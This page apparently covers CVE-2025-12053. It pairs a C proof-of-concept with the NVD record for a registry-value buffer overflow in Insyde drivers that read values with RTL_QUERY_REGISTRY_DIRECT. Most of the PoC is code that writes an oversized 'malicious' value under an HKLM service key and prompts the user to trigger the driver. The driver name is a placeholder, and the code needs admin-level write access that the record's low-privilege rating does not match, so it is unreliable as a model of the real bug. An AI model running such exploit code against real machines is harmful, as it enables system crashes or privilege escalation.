CVE-2025-12053

// CVE-2025-12053 PoC - Registry Value Overflow // This PoC demonstrates how to trigger buffer overflow via registry manipulation #include <windows.h> #include <stdio.h> int main() { HKEY hKey; DWORD dwDisposition; // Create or open the target registry key const char* subKey = "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver"; const char* valueName = "TestValue"; // Create a very long string to overflow the buffer // In real scenario, this length would trigger overflow in driver char overflowData[10000]; memset(overflowData, 'A', sizeof(overflowData) - 1); overflowData[sizeof(overflowData) - 1] = '\0'; // Open or create the registry key if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) { // Set the malicious value that will trigger overflow RegSetValueExA(hKey, valueName, 0, REG_SZ, (const BYTE*)overflowData, strlen(overflowData) + 1); printf("[+] Malicious registry value set successfully\n"); printf("[+] Value length: %d bytes\n", strlen(overflowData)); printf("[+] Trigger the vulnerable driver to read this value\n"); RegCloseKey(hKey); } else { printf("[-] Failed to create registry key\n"); } return 0; }

{"cve": {"id": "CVE-2025-12053", "sourceIdentifier": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "published": "2026-01-14T02:15:50.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow."}, {"lang": "es", "value": "Los controladores en los paquetes de herramientas usan el indicador RTL_QUERY_REGISTRY_DIRECT para leer un valor de registro al cual una aplicación en modo de usuario no confiable podría ser capaz de causar un desbordamiento de búfer."}], "metrics": {"cvssMetricV31": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.insyde.com/security-pledge/sa-2025010/", "source": "8338d8cb-57f7-4252-abc0-96fd13e98d21"}]}}